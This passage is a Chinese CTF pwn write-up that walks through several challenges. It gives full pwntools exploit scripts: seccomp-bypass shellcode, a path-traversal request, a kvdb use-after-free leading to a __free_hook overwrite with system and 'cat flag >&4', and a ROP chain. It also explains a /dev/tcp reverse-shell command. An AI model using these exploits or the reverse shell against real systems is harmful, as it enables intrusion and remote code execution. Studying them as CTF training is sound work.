0003: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0007
0004: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0007
0005: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW

本质上他允许1 5 0 9这四个系统调用号,在32位下调用号5对应open,这样orw就凑齐了,先在64下利用mmap申请32位地址的地段空间,然后使用retfq转到32位,调用open后调用retfq返回64位,注意32位没有retfq这个指令所以填的是64位的,还有第二个retfq后面必须得还有指令才能执行成功,不然就会出错,最后在64位下调用rw得到flag

基本上是mark佬提供的思路。膜膜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
#sh=process("./pwn")
sh=remote("pwn.archive.xdsec.chall.frankli.site",10057)
context.log_level='debug'
context.os='linux'
#gdb.attach(sh,"b *(0x555555554000+0x13C2)")
def exp():
shellcode1='''
mov rbp, rax
mov rax, 9
mov rdi, 0x70707070
mov rsi, 0x100
mov rdx, 7
mov rcx, 34
mov r8, 0xffffffffffffffff
mov r9, 0
syscall
mov rsi, 0x70707070
mov rax, 0
mov rdi, 0
mov rdx, 0x400
syscall
mov esp, 0x70707a70
mov rax, 0x23
push rax
push 0x70707077
retfq
'''
shellcode2='''
mov ebx, 0x70707070
mov ecx, 0
mov edx, 0
mov eax, 5
int 0x80
'''
shellcode3='''
push 0x33
push 0x70707170
retfq
mov rax, 1
'''
shellcode4='''
mov rax, 0
mov rdi ,3
mov rsi, 0x70707870
mov rdx, 0x40
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x70707870
mov rdx, 0x40
syscall
'''
pay=asm(shellcode1,arch='amd64')
sh.send(pay.ljust(0x100,'\x00'))
pay='./flag\x00'+asm(shellcode2,arch='i386')+asm(shellcode3,arch='amd64')
pay=pay.ljust(0x100,'\x00')
pay+=asm(shellcode4,arch='amd64')
sh.send(pay.ljust(0x400,'\x00'))
sh.interactive()
exp()

pwn3 easy_http

可以任意文件读,就是禁了/home/minil/flag目录,绕过就行了,比如/home/../home/mimil/flag

1
2
3
4
5
6
7
from pwn import *
context.log_level='debug'
sh=remote("pwn.archive.xdsec.chall.frankli.site",10021)
pay='GET /home/minil/../minil/flag\r\n'
pay+='User-Agent: MiniL\r\n\r\n'
sh.send(pay)
sh.interactive()

pwn4 kvdb

这道题的代码量是我做过的题中最大的,当时审了一会实在审不下去就放弃了,后面出题人鉴于难度太大直接放了源码,才又跑来看这道题,一看源码,好家伙加起来一千多行了,光审明白代码和找见漏洞花了一个晚上。🤦‍♀️

0x1 结构体及关系

程序实现的是一个简易版本的数据库,把里面的结构体的关系抽象出来就是如下图

image-20220511135849068

其中比较重要的是data_t结构体了,本质上他有两个成员,一个成员是uint16 type,记录的是这个data_t结构体是什么类型的,0->empty,1->int,2->float,3->string,然后还有一个union共用题记录成员具体的量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef uint64 data_integer_t;
typedef double data_float_t;
typedef struct data_string_t {
uint32 len;
char* ptr;
} data_string_t;
typedef struct data_t data_t;
typedef struct data_array_t {
uint32 count;
data_t** items;
} data_array_t;
typedef struct data_t {
uint16 type;
union {
data_integer_t integer;
data_float_t _float;
data_string_t str;
data_array_t array;
};
} data_t;

这个结构体是0x18大小的,所以会申请0x10大小的堆,然后下一个堆头的前八个字节也给这个堆用。

0x2 大致逻辑

程序是利用socket和用户进行交互的,程序的启动脚本如下

1
./kvdb -p 9999 -m 32 -l /dev/null -t 10 -d

这是程序对命令行参数的解析过程,其中getopt函数就是每次取一个选项,然后把选项对应的值存到optarg中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
while ((c = getopt(argc, argv, "p:m:t:l:hd")) != -1) {
switch (c) {
case 'p':
socks_server_port = atoi(optarg);
break;
case 'm':
max_requests = atoi(optarg);
break;
case 't':
timeout = atoi(optarg);
break;
case 'l':
log_file = (char *)optarg;
case 'd':
run_daemon = 1;
break;
case 'h':
std::cerr
<< "kvdb [-p <port>] [-m <max_clients>] [-t <timeout sec>] [-l <log file>] [-d]"
<< std::endl;
exit(0);
case '?':
std::cerr << ("HELP: -h") << std::endl;
exit(0);
}
}

解析完毕后对变量的赋值如下。

1
2
3
4
5
socks_server_port=9999
max_requests=32
timeout=10
log_file=/dev/null
run_daemon=1

然后就进入了init_daemon()函数,这个函数的作用就是生成守护进程,感觉很有意思可以学习一下,生成守护进程后程序的标准输入输出就脱离终端了,然后进入server_loop()函数创建服务端socket,一直accept等待连接,有连接后再fork一个子进程让子进程处理请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
uint32 server_loop() {
int sock_fd;
struct sockaddr_in local_addr, client_addr;
memset(&local_addr, 0, sizeof(local_addr));

/* new socket (only IPv4 is supported now) */
if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
std::cerr << "server_loop(): Can not create sock_fd!" << std::endl;
return 1;
}
/* reuse addr */
int new_optval = 1;
if (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &new_optval,
sizeof(new_optval)) < 0) {
std::cerr << "server_loop(): setsockopt()!" << std::endl;
return 1;
}
local_addr.sin_family = AF_INET;
local_addr.sin_addr.s_addr = htonl(INADDR_ANY); // listen addr
local_addr.sin_port = htons(socks_server_port); // listen port
socklen_t local_addr_len = sizeof(local_addr);

if (bind(sock_fd, (struct sockaddr*)&local_addr, local_addr_len) < 0) {
std::cerr << "server_loop(): bind()" << std::endl;
return 1;
}

if (listen(sock_fd, max_requests) < 0) {
std::cerr << "server_loop(): listen()" << std::endl;
return 1;
} else {
printf("[%d] Listen on port %d.\n", getpid(), socks_server_port);
}

socklen_t client_addr_len = sizeof(client_addr);
memset(&client_addr, 0, sizeof(client_addr));

while (1) {
/* loop */
if ((client_fd = accept(sock_fd, (struct sockaddr*)&client_addr,
&client_addr_len)) < 0) {
std::cerr << "server_loop(): accept()" << std::endl;
return 1;
} else {
/* get address info */
char ip_str[INET_ADDRSTRLEN+1] = {0};
uint16 port;
inet_ntop(AF_INET, &client_addr.sin_addr.s_addr, ip_str, sizeof(ip_str));
port = ntohs(client_addr.sin_port);

/* set TCP_NODELAY */
new_optval = 1;
if (setsockopt(client_fd, SOL_TCP, TCP_NODELAY, &new_optval,
sizeof(new_optval)) < 0) {
fprintf(stderr,
"Warnning: Can not setsockopt() for client_fd %d",
client_fd);
}

/* fork process */
int pid = fork();
if (pid < 0) {
continue;
} else {
if (pid == 0) { // subprocess
close(sock_fd);
/* set timeout */
if (timeout) {
alarm(timeout);
signal(SIGALRM, signal_handler);
}

printf("[%d] Connection Established - %s:%d\n", getpid(), ip_str, port);

/* handle */
int res = handle_request(client_fd);

/* normal exit */
close_socket(client_fd);
exit(res);
} else { // main process
close(client_fd);
continue;
}
}
}
/* end loop */
}
}

子进程调用handle_request(fd)函数处理请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
uint32 handle_request(int sock) {
char magic_buf[4] = {0};
char op_buf[MAX_OP_SIZE + 1] = {0};
uint16 op_len_be = 0;
uint16 op_len_le = 0;

while (1) {
FETCH_COMMAND:
/* check MAGIC */
memset(magic_buf, '\0', sizeof(magic_buf));
memset(op_buf, '\0', sizeof(op_buf));
if (readn(sock, magic_buf, MAGIC_SIZE) != MAGIC_SIZE) {
resp_str(sock, "Bad Magic");
return ~0;
}
if (memcmp(magic_buf, MAGIC, MAGIC_SIZE)) {
resp_str(sock, "Bad Magic");
return ~0;
}

/* read op */
if (readn(sock, (char*)&op_len_be, sizeof(uint16)) != sizeof(uint16)) {
resp_str(sock, "Bad Op Length");
return ~0;
}
op_len_le = BigLittleSwap16(op_len_be);
if (op_len_le > MAX_OP_SIZE) {
resp_str(sock, "Bad Op Length");
return ~0;
}
memset(op_buf, '\0', sizeof(op_buf));
readn(sock, op_buf, op_len_le);

/* find handler */
op_handler* h = NULL;
for (h = &accepted_ops[0]; h->opcode[0] && h->handler; h++) {
if (!memcmp(op_buf, h->opcode, op_len_le)) {
/* call handler */
int res = h->handler(sock);
#ifdef DEBUG
fprintf(stderr, "[%d] op_handler_%s() return %d\n", getpid(),
h->opcode, res);
#endif
goto FETCH_COMMAND;
}
}
/* unknown opcode return */
resp_str(sock, "Op Not Found");
return ~0;
}
}

首先经过一些检查,然后根据报文里的内容调用对应函数,可选项一共有这些

1
2
3
4
5
op_buf={
1:b"ADD", 2:b"DEL",3:b"MDF",4:b"RNM",
5:b"CPY",6:b"GET",7:b"DUM",8:b"CLR",
9:b"SHU"
}

然后这些选项对应的函数如下

1
2
3
4
5
6
7
8
9
static struct op_handler {
char opcode[MAX_OP_SIZE + 1];
uint32 (*handler)(int);
} accepted_ops[] = {
{OPCODE_ADD, op_handler_ADD}, {OPCODE_DELETE, op_handler_DEL},
{OPCODE_MODIFY, op_handler_MDF}, {OPCODE_RENAME, op_handler_RNM},
{OPCODE_COPY, op_handler_CPY}, {OPCODE_GET, op_handler_GET},
{OPCODE_SHUTDOWN, op_handler_SHUT}, {OPCODE_DUMP, op_handler_DUMP},
{OPCODE_CLEAR, op_handler_CLR}, {OPCODE_TREM, NULL}};

其中比较关键的就是op_handler_ADD(),op_handler_DEL,op_handler_RNM,op_handler_MDF,op_handler_GET,op_handler_DUMP这几个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
uint32 op_handler_ADD(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Key Error");
return 1;
}
data_t* value = read_data_t(sock);
if (!value) {
resp_str(sock, "Value Error");
release_data_t(key);
return 1;
}
if (add_data_item(key, value, 1) != 0) {
resp_str(sock, "Add Failed");
release_data_t(key);
release_data_t(value);
return 1;
}
/* success */
resp_str(sock, "Done");
release_data_t(key);
release_data_t(value);
return 0;
}
uint32 op_handler_DEL(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Key Error");
return 1;
}
if (delete_data_item(key) != 0) {
resp_str(sock, "Delete Failed");
release_data_t(key);
return 1;
}
/* success */
resp_str(sock, "Done");
release_data_t(key);
return 0;
}
//修改value
uint32 op_handler_MDF(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Key Error");
return 1;
}
data_t* new_value = read_data_t(sock);
if (!new_value) {
resp_str(sock, "Value Error");
release_data_t(key);
return 1;
}
if (modify_data_item(key, new_value) != 0) {
resp_str(sock, "Modify Failed");
release_data_t(key);
release_data_t(new_value);
return 1;
}
/* success */
resp_str(sock, "Done");
release_data_t(key);
release_data_t(new_value);
return 0;
}
//修改key
uint32 op_handler_RNM(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Old Key Error");
return 1;
}
data_t* new_key = read_data_t(sock);
if (!new_key) {
resp_str(sock, "New Key Error");
release_data_t(key);
return 1;
}
/* check dup */
if (get_data_item(new_key) != NULL) {
resp_str(sock, "Duplicate Key");
release_data_t(key);
release_data_t(new_key);
return 1;
}
if (rename_data_item(key, new_key) != 0) {
resp_str(sock, "Rename Failed");
release_data_t(key);
release_data_t(new_key);
return 1;
}
/* success */
resp_str(sock, "Done");
release_data_t(key);
release_data_t(new_key);
return 0;
}
//根据key得到value的数据
uint32 op_handler_GET(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Key Error");
return 1;
}
data_t* res = get_data_item(key);
if (res == NULL) {
/* return an empty type data_t */
data_t* empty = (data_t*)calloc(sizeof(data_t), 1);
if (empty) {
empty->type = DATA_TYPE_EMPTY;
do_resp(sock, empty);
release_data_t(empty);
} else {
resp_str(sock, "Get Failed");
}
release_data_t(key);
return 1;
}
/* success */
do_resp(sock, res);
release_data_t(key);
return 0;
}
//得到整个数据库的内容
uint32 op_handler_DUMP(int sock){
data_t *dump_array = dump_data_item();
if(!dump_array){
resp_str(sock, "Dump Failed");
return 1;
};
do_resp(sock, dump_array);
release_data_t(dump_array);
return 0;
}

其中add函数是接收一个key和value然后放入database中,del函数就是根据key删除一对键值对,get就是根据key向用户发送对应的value,rnm就是重写一个key,mdf就是根据一个key重写一个value,dump就是把数据库里的所有数据全都发送给用户

处理用户输入的函数如下,就是根据不同的type创建不同的data_t,审完发现非常安全。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
data_t* read_data_t(int sock) {
return do_read_data_t(sock, 0);
}

data_t* do_read_data_t(int sock, int level) {
uint16 type_be;
uint16 type_le;

/* new data_t obj */
data_t* tmp = (data_t*)calloc(1, sizeof(data_t));
if (!tmp)
return NULL;

// integer
data_integer_t integer_be = 0;
// float
data_float_t float_be = 0;
// string
uint32 str_len_be = 0;
uint32 str_len_le = 0;
// array
uint32 count_be = 0;
uint32 count_le = 0;
data_t* item = NULL;

readn(sock, (char*)&type_be, sizeof(uint16));
type_le = BigLittleSwap16(type_be);

int l;

switch (type_le) {
case DATA_TYPE_INTEGER:
tmp->type = DATA_TYPE_INTEGER;
if (readn(sock, (char*)&integer_be, sizeof(data_integer_t)) !=
sizeof(data_integer_t)) {
goto INVALID;
}
tmp->integer = BigLittleSwap64(integer_be);
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "Integer: \x1B[36m0x%llx\x1B[0m\n", tmp->integer);
#endif
return tmp;
case DATA_TYPE_FLOAT:
tmp->type = DATA_TYPE_FLOAT;
if (readn(sock, (char*)&float_be, sizeof(data_float_t)) !=
sizeof(data_float_t)) {
goto INVALID;
}
*(uint64*)&tmp->_float = BigLittleSwap64(*(uint64*)&float_be);
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "Float: \x1B[35m%lf\x1B[0m\n", tmp->_float);
#endif
return tmp;
case DATA_TYPE_STRING:
tmp->type = DATA_TYPE_STRING;
if (readn(sock, (char*)&str_len_be, sizeof(uint32)) !=
sizeof(uint32)) {
goto INVALID;
}
str_len_le = BigLittleSwap32(str_len_be);
tmp->str.len = str_len_le;
tmp->str.ptr = (char*)calloc(str_len_le, 1);
if (!tmp->str.ptr)
goto INVALID;
readn(sock, tmp->str.ptr, str_len_le);
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "String(%d): \x1B[32m%s\x1B[0m\n", tmp->str.len, tmp->str.ptr);
#endif
return tmp;
case DATA_TYPE_ARRAY:
tmp->type = DATA_TYPE_ARRAY;
if (readn(sock, (char*)&count_be, sizeof(uint32)) !=
sizeof(uint32)) {
goto INVALID;
}
count_le = BigLittleSwap32(count_be);
tmp->array.count = count_le;
tmp->array.items = (data_t**)calloc(count_le, sizeof(data_t*));
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "\x1B[107mArray[%d]\x1B[0m:\n", tmp->array.count);
#endif
for (uint32 i = 0; i < count_le; i++) {
item = do_read_data_t(sock, level + 1);
if (item == NULL) {
/* release all received items when error occur */
for (uint32 j = 0; j < i; j++) {
release_data_t(tmp->array.items[j]);
free(tmp->array.items);
goto INVALID;
}
}
tmp->array.items[i] = item;
}
return tmp;
case DATA_TYPE_EMPTY:
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "Empty data_t\n");
#endif
tmp->type = DATA_TYPE_EMPTY;
return tmp;
default:
goto INVALID;
break;
}
INVALID:
free(tmp);
return NULL;
}

0x3 漏洞

漏洞就是出在dump函数中的dump_data_item()身上,他对数据库的复制并不是深拷贝,而是直接把地址拿过来了,最后还把这些地址全都通过release_data_t()函数释放了,但是这些地址还存在在数据库中,所以导致了uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
data_t *dump_data_item(){
data_t *dump_array = (data_t *)calloc(1, sizeof(data_t));
if(!dump_array) return NULL;
dump_array->type = DATA_TYPE_ARRAY;
dump_array->array.count = database.size();
dump_array->array.items = (data_t **)calloc(dump_array->array.count, sizeof(data_t *));
std::list<kvpair>::iterator iter;
int i;
for (iter = database.begin(), i = 0; iter != database.end(); iter++, i++) {
/* item_array[2] = {key, value} */
data_t *item_array = (data_t *)calloc(1, sizeof(data_t));
item_array->type = DATA_TYPE_ARRAY;
item_array->array.count = 2;
item_array->array.items = (data_t **)calloc(2, sizeof(data_t *));
item_array->array.items[0] = iter->first.get_data_t();
item_array->array.items[1] = iter->second.get_data_t();
dump_array->array.items[i] = item_array;
}
return dump_array;
}

0x4 漏洞利用

这个程序觉得最难的不是发现漏洞,而是发现漏洞后该如何利用漏洞,成功发现漏洞到利用成功又花了一天,由于key和value的前八个字节放的是他的类型,如果被free的话就会破坏,但是如果再次访问的话就访问不到了,刚开始的思路是让free掉的堆被unlink就好了,但是试了一会发现0x20大小的堆根本不会unlink,所以没办法free完之后立即使用

正确的思路就是直接再申请被free掉的堆块,这样就有两个指针指向同一块区域了,然后在申请的时候申请string的value,就可以利用string控制节点了。这是个概率事件,得多次重复的申请才可能成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#add_int_string
payload=add_int_string(0x10,0x40,'a')
payload+=add_int_string(0x20,0x40,'b')
payload+=add_int_string(0x30,0x40,'c')
payload+=add_int_string(0x40,0x40,'d')
payload+=add_int_string(0x50,0x40,'e')
payload+=add_int_string(0x60,0x40,'f')
#dump
payload+=dump()
#add_string_string
payload+=add_int_string(0x70,0x16,'\x00')
payload+=add_int_string(0x80,0x16,'b'*0x16)
payload+=add_int_string(0x90,0x16,'c'*0x16)
payload+=add_int_string(0xa0,0x16,'d'*0x16)
payload+=add_int_string(0xb0,0x16,'e'*0x16)
payload+=add_int_string(0xc0,0x16,'f'*0x16)

这样以后堆块的堆叠情况是这样的

1
2
3
4
5
6
7
8
9
10
11
12
#这是每一个键值对的堆块的后12位
1:0a0 0c0
2:310 330
3:4c0 4e0
4:5d0 5f0
5:690 6b0
6:750 770
#再申请后
0x70 string->0x80 value
0xa0 string->310
0xb0 string->0c0
0xc0 value ->0c0

可见我们可以控制3个节点了,利用这三个节点完成对__free_hook的改写,然后反弹flag,出题人说不连外网,所以直接通过sokcet把flag反弹回来

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
ip="127.0.0.1"
port=9998
context.log_level='debug'
#sh=remote(ip,port)
sh=remote("pwn.archive.xdsec.chall.frankli.site",10088)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
op_buf={
1:b"ADD",
2:b"DEL",
3:b"MDF",
4:b"RNM",
5:b"CPY",
6:b"GET",
7:b"DUM",
8:b"CLR",
9:b"SHUT"
}


def build_int(digit):
pay=p16(0x0100)+p64(digit)
return pay

def build_string(str_len,str_srt):
strlen=((str_len&0xff000000)>>24)|((str_len&0x00ff0000)>>8)|((str_len&0x0000ff00)<<8)|((str_len&0x000000ff)<<24)
pay=p16(0x0300)+p32(strlen)
pay+=bytes(str_srt.ljust(str_len,'\x00'),'utf-8')
return pay

def build_string1(str_len,str_srt):
strlen=((str_len&0xff000000)>>24)|((str_len&0x00ff0000)>>8)|((str_len&0x0000ff00)<<8)|((str_len&0x000000ff)<<24)
pay=p16(0x0300)+p32(strlen)
pay+=str_srt
return pay

def msg(code,context):
pay=b'KVDB'+p16(0x0300)+op_buf[code]
if(context!=b''):
pay+=context
return pay

def add_int_string(key_value,value_len,content):
pay=build_int(key_value)
pay+=build_string(value_len,content)
return msg(1,pay)
def dump():
return msg(7,b'')

def clear():
return msg(8,b'')

def add_string_string(key_len,key_content,value_len,value_content):
pay=build_string(key_len,key_content)
pay+=build_string(value_len,value_content)
return msg(1,pay)

def del_string_key(key_len,key_content):
pay=build_string(key_len,key_content)
return msg(2,pay)

def stringkey_get_value(key_len,key_value):
pay=build_string(key_len,key_value)
return msg(6,pay)
def intkey_get_value(key_value):
pay=build_int(key_value)
return msg(6,pay)

def del_int_key(key_value):
pay=build_int(key_value)
return msg(2,pay)

def change_value(key_value,value_len,value_content):
pay=build_int(key_value)
pay+=build_string1(value_len,value_content)
return msg(3,pay)

def change_key(key_len,key_content,new_len,new_content):
pay=build_string1(key_len,key_content)
pay+=build_string1(new_len,new_content)
return msg(4,pay)

def exp():
#add_int_string
payload=add_int_string(0x10,0x40,'a')
payload+=add_int_string(0x20,0x40,'b')
payload+=add_int_string(0x30,0x40,'c')
payload+=add_int_string(0x40,0x40,'d')
payload+=add_int_string(0x50,0x40,'e')
payload+=add_int_string(0x60,0x40,'f')
#dump
payload+=dump()
#add_string_string
payload+=add_int_string(0x70,0x16,'\x00')
payload+=add_int_string(0x80,0x16,'b'*0x16)
payload+=add_int_string(0x90,0x16,'c'*0x16)
payload+=add_int_string(0xa0,0x16,'d'*0x16)
payload+=add_int_string(0xb0,0x16,'e'*0x16)
payload+=add_int_string(0xc0,0x16,'f'*0x16)
#del
payload+=del_int_key(0x80)
#get
payload+=intkey_get_value(0x70)
sh.send(payload)
sleep(1)
sh.recv(710)
heap_base=u64(sh.recvuntil('V')[-6:]+b'\x00\x00')-0x128e0
print(hex(heap_base))
#add
payload=add_int_string(0xd0,0x500,'g')
#change_value
heap_addr=heap_base+0x12a60
payload+=change_value(0xb0,0x16,p64(3)+p64(0x16)+p32(heap_addr&0xffffffff)+p16((heap_addr&0xffff00000000)>>8*4))
#get
payload+=intkey_get_value(0xc0)
sh.send(payload)

libc_base=u64(sh.recvuntil('\x7f')[-6:]+b'\x00\x00')-0x1ecbe0
print(hex(libc_base))


system_addr=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]-0x20
pay1=b'cat flag >&4\x00'+b'a'*(0x20-13)+b'\x00'*0x10
payload=change_value(0xb0,0x16,p64(3)+p64(0x30)+p32(free_hook&0xffffffff)+p16((free_hook&0xffff00000000)>>8*4))
payload+=change_value(0xc0,0x30,pay1)
payload+=change_value(0xa0,0x16,p64(3)+p64(0x30)+p32(free_hook&0xffffffff)+p16((free_hook&0xffff00000000)>>8*4))
pay=b'cat flag >&4\x00'+b'a'*(0x20-13)+p64(system_addr)+p64(0)
payload+=change_key(0x30,pay1,0x30,pay)
sh.send(payload)

sh.interactive()
exp()

反弹原理

类似bash的反弹原理,bash的反弹命令是

1
base -i &> /dev/tcp/ip/port  0>&1

其中base i的作用是产生一个base交互环境,然后&>代表着把前面base的交互环境的标准输出和标准错误重定位到后面的文件中,然后后面0>&1就是把标准输入重定位到标准输出上,由于标准输出指向tcp连接,所以标准输入也重定位到这个文件上了,这样就产生一个交互式的base了。

其中比较重要的就是>&符号,他会把前面的内容重定向到后面的内容,后面是个fd,比如echo flag >&1就是把flag重定向到了到了1即标准输出,在脚本中我是cat flag >&4就是把flag文件的内容重定向到了4即scocket连接上。所以会把flag发过来。

TSCTF pwn

image-20220425124307333

image-20220425124334437

0x1 alarm

主要漏洞出现在堆的申请上,可以申请17个堆,然后覆盖edit函数的偏移值,把这个偏移值改成负数就可以向上覆盖got表了,我没做出来的主要原因是我以为这个偏移值是字符的输入个数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 sub_2AF7()
{
__int64 result; // rax
__int16 v1; // ax
__int64 v2; // rax

result = (unsigned int)dword_5520;
if ( (__int16)dword_5520 <= 7 )
{
v1 = dword_5520++;
v2 = std::string::operator[](&unk_53E0, v1);
return std::operator>><char,std::char_traits<char>>(&std::cin, v2);
}
return result;
}

在ayoung佬这里学到一个很好用的gadget来绕过沙箱进行rop

1
2
3
4
5
6
7
sub    rsp, 0x18
mov rbp, qword ptr [rdi + 0x48]
mov rax, qword ptr [rbp + 0x18]
lea r13, [rbp + 0x10]
mov dword ptr [rbp + 0x10], 0
mov rdi, r13
call qword ptr [rax + 0x28]

这个gadget的主要作用就是通过rdi控制rbp然后再跳一个leave_ret就可以控制rsp来完成rop了

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
context.log_level='debug'
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'})
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
def init(name,pwd):
sh.recvuntil("username: ")
sh.sendline(name)
sh.recvuntil("password: ")
sh.sendline(pwd)

def add(size,content):
sh.recvuntil("chose > ")
sh.sendline("1")
sh.recvuntil("size > ")
sh.sendline(str(size))
sh.send(content)

def free(idx,choice):
sh.recvuntil("chose > ")
sh.sendline("2")
sh.recvuntil("idx > ")
sh.sendline(str(idx))
sh.recvuntil("Sure delete ?")
sh.send(choice)

def edit(content):
sh.recvuntil("chose > ")
sh.sendline("3")
sh.send(content)

def bye(content):
sh.recvuntil("chose > ")
sh.sendline("4")
sh.recvuntil("byebye, good night~\n")
sh.send(content)
duan="b *(0x7ffff7fc5000+{0})".format(0x2B7D)
#gdb.attach(sh,duan)
def exp():
init("rootroot","#$%^&*!@")
add(0x500,'a')
for i in range(15):
add(0x100,'a')
add(0xfcf0,'a')
edit('\xc9')
free(0,'Y')
free(1,'s')
bye('\x00')
libc_addr=u64(sh.recvuntil('\x7f').ljust(8,'\x00'))-0x1ed000
print hex(libc_addr)
free(1,'Y')
bye('\x00')
heap_addr=u64(sh.recv(6).ljust(8,'\x00'))-0x13b00
print hex(heap_addr)
add(0xfc60,'a')
heap_17_addr=0x24fc0+heap_addr
#0x000000000008e1c4: mov esp, eax; mov rax, r12; pop r12; ret;
gadget=libc_addr+0x154d06
for i in range(6):
content=gadget&0xff
gadget=gadget>>8
edit(p8(content))
heap_rop_addr=0x142d0+heap_addr
pop_rdi=0x0000000000023b72+libc_addr
pop_rsi=libc_addr+0x000000000002604f
pop_rdx_r12=0x0000000000119241+libc_addr
syscall_ret=0x00000000000630d9+libc_addr
pop_rax=0x0000000000047400+libc_addr
leave_ret=libc_addr+0x00000000000578f8

rop=p64(heap_rop_addr)+p64(pop_rdx_r12)
rop+=p64(0)+p64(heap_rop_addr)
rop+=p64(pop_rdi)+p64(leave_ret)
rop+=p64(pop_rax)+p64(2)
rop+=p64(pop_rdi)+p64(heap_rop_addr)
rop+=p64(pop_rdi)+p64(heap_rop_addr+0xe8)
rop+=p64(pop_rsi)+p64(0)
rop+=p64(pop_rdx_r12)+p64(0)
rop+=p64(0)+p64(syscall_ret)
rop+=p64(pop_rdi)+p64(3)
rop+=p64(pop_rsi)+p64(heap_rop_addr+0x200)
rop+=p64(pop_rdx_r12)+p64(0x30)
rop+=p64(0x30)+p64(libc_addr+libc.sym["read"])
rop+=p64(pop_rdi)+p64(heap_rop_addr+0x200)
rop+=p64(libc_addr+libc.sym["puts"])+'./flag\x00\x00'
bye(rop)
sh.interactive()
exp()

0x2 babynote

主要问题出现在了拷贝函数memcpy上,利用加密函数和read函数配合来完成堆的溢出拷贝,然后使用了然后把stderr的vtable覆盖成io_str_jumps,修改stderr结构体的内容,让stderr+0x28填上自己想填的地址,然后其他全填0,这样的话,最后exit就会执行stderr的io_str_overflow,这个函数会call malloc这时候程序的rdx指针是我们可以控制的了,具体和stderr+0x28相关,然后把malloc_hook覆盖成setcontext就可以控制rsp完成rop了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
